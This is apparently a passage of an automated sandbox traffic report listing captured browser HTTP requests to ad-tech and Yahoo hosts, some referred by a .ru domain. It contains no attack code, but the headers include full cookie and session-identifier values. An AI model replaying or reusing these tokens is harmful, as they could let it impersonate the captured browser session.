Source: global traffic	HTTP traffic detected: GET /sync/google/demand?sync=1&gdpr=0&gdpr_consent= HTTP/1.1Host: eb2.3lift.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eb2.3lift.com/sync?us_privacy=1YNN&gpp=DBAA&gpp_sid=-1&&ld=1Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: sync=CgoIoQEQw-zNn6QyCgoI4gEQw-zNn6QyCgoI5gEQw-zNn6QyCgoIhwIQw-zNn6QyCgkIOhDD7M2fpDIKCQgbEMPszZ-kMgoKCIwCEMPszZ-kMgoKCKwCEMPszZ-kMgoKCK0CEMPszZ-kMgoJCF8Qw-zNn6Qy; tluidp=3811239664715375770435; tluid=3811239664715375770435
Source: global traffic	HTTP traffic detected: GET /ebda?sync=1&gdpr=0&gdpr_consent= HTTP/1.1Host: eb2.3lift.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eb2.3lift.com/sync?us_privacy=1YNN&gpp=DBAA&gpp_sid=-1&&ld=1Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: tluidp=3811239664715375770435; tluid=3811239664715375770435
Source: global traffic	HTTP traffic detected: GET /track/cmf/openx?oxid=89da3b4d-4019-3a17-5e17-79a012d51d47&gdpr=0 HTTP/1.1Host: match.adsrvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://u.openx.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=07c89b85-4c1c-424d-8df0-0123ed6cebb6; TDCPM=CAESFgoHc3Z4OXQ1MBILCOb3lfnK37A9EAUYBSABKAIyCwiYwNik4d-wPRAFOAE.
Source: global traffic	HTTP traffic detected: GET /track/cmf/generic?ttd_pid=yieldmo&ttd_tpi=1&ttd_puid=VRLAoLL__uL1ewyIa5Iq HTTP/1.1Host: match.adsrvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.yieldmo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=07c89b85-4c1c-424d-8df0-0123ed6cebb6; TDCPM=CAESFgoHc3Z4OXQ1MBILCOb3lfnK37A9EAUYBSABKAIyCwiYwNik4d-wPRAFOAE.
Source: global traffic	HTTP traffic detected: GET /AdServer/ImgSync?p=160648&gdpr=&gdpr_consent=&pu=https%3A%2F%2Fimage4.pubmatic.com%2FAdServer%2FSPug%3Fp%3D160648%26pmc%3DPM_PMC%26pr%3Dhttps%253A%252F%252Fsync-pm.ads.yieldmo.com%252Fsync%253Fpn_id%253Dpub%2526id%253D%2523PMUID%2526gdpr%253DPM_GDPR%2526gdpr_consent%253DPM_CONSENT HTTP/1.1Host: image8.pubmatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.yieldmo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sync/triplelift/3811239664715375770435?gdpr=0&gdpr_consent= HTTP/1.1Host: pr-bh.ybp.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eb2.3lift.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; cmp=t=1727716858&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-PMOp3thE2uLhyy8QFBkAKGqNgLvzneG4~A&dv360=eS1LZzdROG1GRTJ1RVZ3MWZ2WWt1bTRBdVAxOElBSy5Dbn5B&ydsp=y-WXkjhRBE2uJjlZ_QwZAT4oBAasxO1UgW~A&tbla=y-GxlMYYJE2uKUC.fndnfIPNmh3DR_ejLH~A; tbla_id=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383
Source: global traffic	HTTP traffic detected: GET /pixel?google_nid=openx&google_hm=YTViNWU4ODctODk2ZS02NGIzLTRiZjctMjMxOWQ4MzdkMzI3 HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://u.openx.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUkUkNwMMgJ6QEXcNmBLe89FRWkxDD1qfpDAQyrRUH_QfzDefzbvv9fnUjUM9uM
Source: global traffic	HTTP traffic detected: GET /pixel?google_nid=openx&google_cm&google_sc HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://u.openx.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUkUkNwMMgJ6QEXcNmBLe89FRWkxDD1qfpDAQyrRUH_QfzDefzbvv9fnUjUM9uM
Source: global traffic	HTTP traffic detected: GET /uu/api/res/1.2/1exjVpdKZ.RKQhQMvgY39Q--~B/Zmk9c3RyaW07aD0xNTY7dz0zMDA7YXBwaWQ9eXRhY2h5b24-/https://s.yimg.com/os/creatr-uploaded-images/2023-09/e0cf9c30-5ee8-11ee-af7e-5e30c1880d05.cf.webp HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /uu/api/res/1.2/irocQ7vdF0Cre0047_F2BA--~B/Zmk9c3RyaW07aD0xNTY7dz0zMDA7YXBwaWQ9eXRhY2h5b24-/https://s.yimg.com/os/creatr-uploaded-images/2024-09/1ab9b3e0-7f4a-11ef-9bc8-98e2d97b2d54.cf.webp HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /uu/api/res/1.2/Wzs19jFHdMDc_wAXtX4KnQ--~B/Zmk9c3RyaW07aD0xNTY7dz0zMDA7YXBwaWQ9eXRhY2h5b24-/https://s.yimg.com/os/creatr-uploaded-images/2024-09/7e34b8e0-7778-11ef-b5fd-d718d88a3d1b.cf.webp HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /uu/api/res/1.2/1IAUDYdOSONDSm2DkprmEA--~B/Zmk9c3RyaW07aD0xNTY7dz0zMDA7YXBwaWQ9eXRhY2h5b24-/https://s.yimg.com/os/creatr-uploaded-images/2024-09/7d21b410-7f40-11ef-b77e-dea3714d1b2e.cf.webp HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sync?nid=13&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid= HTTP/1.1Host: sync.srv.stackadapt.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eb2.3lift.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /uu/api/res/1.2/BdrXtbFtdHZFBGTr4iYGaQ--~B/Zmk9c3RyaW07aD0xNTY7dz0zMDA7YXBwaWQ9eXRhY2h5b24-/https://s.yimg.com/os/creatr-uploaded-images/2021-01/8fcd9e10-4e8b-11eb-9fdf-5bd1b68e439b.cf.webp HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sync?nid=20&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid= HTTP/1.1Host: sync.srv.stackadapt.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eb2.3lift.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /yahoo-home/log/3/social?route=US:CH:V&tvi50=9540&lti=trecs&ri=7d4b7c70a92f79780beeda5b53de66fb&sd=v2_180b7abcdacfe26a5edf97d1d328e529_27eb735b-f48b-4088-80a5-78ec8c9435df-tuctdf46380_1727716864_1727716864_CIi3jgYQm9teGIXczJ-kMiABKAEw4QE4kaQOQNWmD0jZiNcDUPUDWABgAGiOuMvY8NrPu1twAYABAA&ui=27eb735b-f48b-4088-80a5-78ec8c9435df-tuctdf46380&pi=/&wi=-2162821594718986386&pt=home&vi=1727716863493&st=social-available&d=%7B%22data%22%3A%5B%7B%22i%22%3A%22ctx%22%2C%22ism%22%3Afalse%2C%22srx%22%3A1280%2C%22sry%22%3A1024%2C%22pd%22%3Anull%2C%22tpl%22%3A%22%22%2C%22url%22%3A%22https%3A%2F%2Fwww.yahoo.com%22%2C%22rref%22%3A%22https%3A%2F%2Fhfj.rontishet.ru%2F%22%2C%22sref%22%3A%22https%3A%2F%2Fhfj.rontishet.ru%2F%22%2C%22hdl%22%3A%22Yahoo%20%7C%20Mail%2C%20Weather%2C%20Search%2C%20Politics%2C%20News%2C%20Finance%2C%20Sports%20%26%20Videos%22%2C%22sec%22%3A%22%22%2C%22aut%22%3A%5B%5D%2C%22img%22%3A%22https%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fsocial%2Fimages%2Fyahoo_default_logo.png%22%2C%22v%22%3A15%2C%22pw%22%3Afalse%7D%5D%7D&tim=13%3A21%3A17.296&id=5725&llvl=2&cv=20240929-12-RELEASE& HTTP/1.1Host: ch-trc-events.taboola.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: taboola_session_id=v2_180b7abcdacfe26a5edf97d1d328e529_27eb735b-f48b-4088-80a5-78ec8c9435df-tuctdf46380_1727716864_1727716866_CIi3jgYQm9teGIXczJ-kMiABKAEw4QE4kaQOQNWmD0jZiNcDUPUDWABgAGiOuMvY8NrPu1twAYABAA; receive-cookie-deprecation=1; t_gid=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383; t_pt_gid=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383
Source: global traffic	HTTP traffic detected: GET /track/cmf/generic?ttd_pid=rightmedia&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1 HTTP/1.1Host: match.adsrvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=07c89b85-4c1c-424d-8df0-0123ed6cebb6; TDCPM=CAESFgoHc3Z4OXQ1MBILCOb3lfnK37A9EAUYBSABKAIyCwiYwNik4d-wPRAFOAE.
Source: global traffic	HTTP traffic detected: GET /uu/api/res/1.2/7Z0aKacGGhmhPwsBUl2i5A--~B/Zmk9c3RyaW07aD00MDg7dz03MjA7YXBwaWQ9eXRhY2h5b24-/https://s.yimg.com/os/creatr-uploaded-images/2024-09/a129e590-7f30-11ef-8ab3-79e7dd104b7f.cf.webp HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /p2?c1=2&c2=7241469&c5=2023538075&c7=https%3A%2F%2Fwww.yahoo.com%2F&c14=-1&c8=Yahoo%20%7C%20Mail%2C%20Weather%2C%20Search%2C%20Politics%2C%20News%2C%20Finance%2C%20Sports%20%26%20Videos&c9=https%3A%2F%2Fhfj.rontishet.ru%2F&gdpr=0&gdpr_consent=&cs_ucfr=1&cs_fpdm=null&cs_fpdt=null&cs_fpid=ktb74Qf%2BB5a5JQqJGS%2Fbp0PG1iIU%2BWKGDEPE8YdWnT4%3D&cs_fpit=c&ns_c=UTF-8&ns__t=1727716870229 HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: UID=1DD20ed7f68597d26f3495f1727716881
Source: global traffic	HTTP traffic detected: GET /assets/_app/immutable/assets/Logo.BwBAfWlF.css HTTP/1.1Host: finance.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://finance.yahoo.com/sectors/basic-materials/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A1S=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; cmp=t=1727716858&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-PMOp3thE2uLhyy8QFBkAKGqNgLvzneG4~A&dv360=eS1LZzdROG1GRTJ1RVZ3MWZ2WWt1bTRBdVAxOElBSy5Dbn5B&ydsp=y-WXkjhRBE2uJjlZ_QwZAT4oBAasxO1UgW~A&tbla=y-GxlMYYJE2uKUC.fndnfIPNmh3DR_ejLH~A; tbla_id=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383; __gads=ID=9e1f1bcfb981154e:T=1727716876:RT=1727716876:S=ALNI_MZbu06nRe70doE7Am1306bjZBopGw; __gpi=UID=00000efef81eaeb2:T=1727716876:RT=1727716876:S=ALNI_Mb6c_qZj_qcAZ-YRLXBZ1XgJ5ozPw; __eoi=ID=1ec18cf0052b6e87:T=1727716876:RT=1727716876:S=AA-AfjYtYuQWIvoKp4IIb--5_VOy
Source: global traffic	HTTP traffic detected: GET /pcs/view?xai=AKAOjsvvMNSqw1BFHSA5usijRB-Vsz3bnqfYDc7UZv5g2M1sFWxBVqS71-rNodNGIMZdG8SPdiZyOB2kNL0M0GNqEKxt819Q3Vc-Ho-YUgVV5t5NEJSjM7Yws3fT1fSeNA28QAGQAfHfT7H5SRHn7l4CvTi9Y0IICmJXkzwF8krIMW7DficjgvBw5waVppCAKGra4gNlCLfJUlWCGqQwHtNDRbu559WZ7WEM8JuGncnFSDwnkr6AouaV5DzNMKPKOixcyhXc6FLvVnd0cElk6TjW1MLpORjczQA4vOT6djnunQ1qA6-vwHXXlIspTOBRVuYiswZc8WJ0ortTkxy4P-nsNxHpqZXmKuvjKNvdjmJDHDzTNIe5Z8Y31uFTrTp3gESvYX-8Zv5ksJ_dG38GIiV2_jTCl7azsgJS7nnSWvWHtpbgSBRdk_K8dcvrr5GWn6_mhzVKmxzsW4Q&sai=AMfl-YQdFh6gmzZikqfkjf5SYjbAVGt6bpY2K0oj4DB6-wIAgYUVKc3ojtWBmSmKtF5hAqFbaWxiXtpuCelbpa7GcFW13o4rNywwXCDH7MreKAa-TEipfSDljFqXlCmCrdK2_QlduE1Du3FgxMxej5nOIA&sig=Cg0ArKJSzG0mggn03aECEAE&uach_m=%5BUACH%5D&urlfix=1&adurl= HTTP/1.1Host: securepubads.g.doubleclick.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUkUkNwMMgJ6QEXcNmBLe89FRWkxDD1qfpDAQyrRUH_QfzDefzbvv9fnUjUM9uM
Source: global traffic	HTTP traffic detected: GET /assets/_app/immutable/assets/Card.CXxu1kiL.css HTTP/1.1Host: finance.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://finance.yahoo.com/sectors/basic-materials/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A3=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; A1S=d=AQABBPbd-mYCEBd4O9-WWosr-Ml5_gckZbIFEgEBAQEv_GYEZ9xH0iMA_eMAAA&S=AQAAAtFHlIsUsTVNy2XXUR1j0uw; cmp=t=1727716858&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-PMOp3thE2uLhyy8QFBkAKGqNgLvzneG4~A&dv360=eS1LZzdROG1GRTJ1RVZ3MWZ2WWt1bTRBdVAxOElBSy5Dbn5B&ydsp=y-WXkjhRBE2uJjlZ_QwZAT4oBAasxO1UgW~A&tbla=y-GxlMYYJE2uKUC.fndnfIPNmh3DR_ejLH~A; tbla_id=718c48d0-56f4-46af-b98a-81a327f4b9c5-tuctdf46383; __gads=ID=9e1f1bcfb981154e:T=1727716876:RT=1727716876:S=ALNI_MZbu06nRe70doE7Am1306bjZBopGw; __gpi=UID=00000efef81eaeb2:T=1727716876:RT=1727716876:S=ALNI_Mb6c_qZj_qcAZ-YRLXBZ1XgJ5ozPw; __eoi=ID=1ec18cf0052b6e87:T=1727716876:RT=1727716876:S=AA-AfjYtYuQWIvoKp4IIb--5_VOy
Source: global traffic	HTTP traffic detected: GET /pcs/view?xai=AKAOjsug8egTOGUwuTYAlodlMa48CAssbNcAn8-5CMYRD27hTy36B3X_5H06fbTuoS3YMlrVELcLYSKUvw7H_EweoXkg4rc4gvsT5gNspR6_dyq_WKdB1ksdy9nAYN5JvbtVxGy40XdAcFJRGpQ5XumgN0mHd6OylCbrGCzcJ91yBMvm63riUnOzKaVJv6BzsHd66eUsxXtM1xYGmFM-x2_Kkon_Hnpl9u1XlaSfoZi24BlcuJpTEktw6T4P0I1sc9Egkv_F2PUpeOlqvypzf5-vnBSKq4hudExqMWU-4xTw6A6yAI6a9MK9gmPpj4D7S2yEZPFpPIU0V3pHWfqN9WD95TsXTL3cnxNC50JHfqWGQq2IzaNjwHa5_Nwgt0yFD6KQCyacFXR7xdS6vyn_MswWWEtesIyBx0Oh1sG4bAM1CcRxJVs806rjCebVSTQ55hjG5NKJPcJoVw&sai=AMfl-YSAniHsbapwuTxa1z_0KgDODfL1ZHeEGs1tJkI2rwKGiMQYiU9C0LPXqx7pKZ4w9HJk_djYG9SeaENyKvDKrumr3Bd5yY4MxH2bcYbFK8OHuNziOT1YUjuuf7MLcJfYdMLTaF9w69ZJRv7q9kpjgQ&sig=Cg0ArKJSzAyQX4192yRaEAE&uach_m=%5BUACH%5D&urlfix=1&adurl= HTTP/1.1Host: securepubads.g.doubleclick.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUkUkNwMMgJ6QEXcNmBLe89FRWkxDD1qfpDAQyrRUH_QfzDefzbvv9fnUjUM9uM
Source: global traffic	HTTP traffic detected: GET /pcs/view?xai=AKAOjsuWTd_PBLn-J_pk3qyn0DUhbwh7iS414WxnYiM2JEmrzFdFYLUwdCG5WGg4lLwnB7WNLIewjBxfXCyLBAV4heikx-MDApQiMH0TOBB2hYcbNg7SYibUr_Akp1xRztuQVlGUGByyYf5jLNTyoaQ9GWn8xzWjxeORKO2R3ut6iBYxMYAY082c0URAKu2jVbeAWelFoukI-O1ZG1UhmLgW-236PWJ_Lyu_vEgCTKISBUEYlH_gH8XNsjAhQjOko-TuE3CEupev3r2yQ9oxRWJHsIdoSSBZ7SwpUNP-wDuYqJ9p6dfrzJjFfFNWN0JlQPW_rwxfG424fcGow2z33Yb16lE-jbCQ8REz6ib2MvLxZgn89FviVnyq1SeZiDJd12gIc1Tv2r-BbidfhgJvhlpHbvNlm3-1TgIiqf0PbUBQWNpeBkXHHguQsTT5ljhqHW_D2TA_L2RKt1JownLs&sai=AMfl-YRvlAWQcD0MoRX819XY2pml8BoYbC705QUUCn1mWE893hb-RjEifHTCIpt_Evs2OF8ls9npMJCUb9qiYhlWEK2E4vGa1Qo-ZUS5miTPnhBjObTZkD8EhjtZ-76jhF8ezjwbpTN2vmzcQmOHH8M3sA&sig=Cg0ArKJSzN7tOiNvAqq2EAE&uach_m=%5BUACH%5D&urlfix=1&adurl= HTTP/1.1Host: securepubads.g.doubleclick.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: 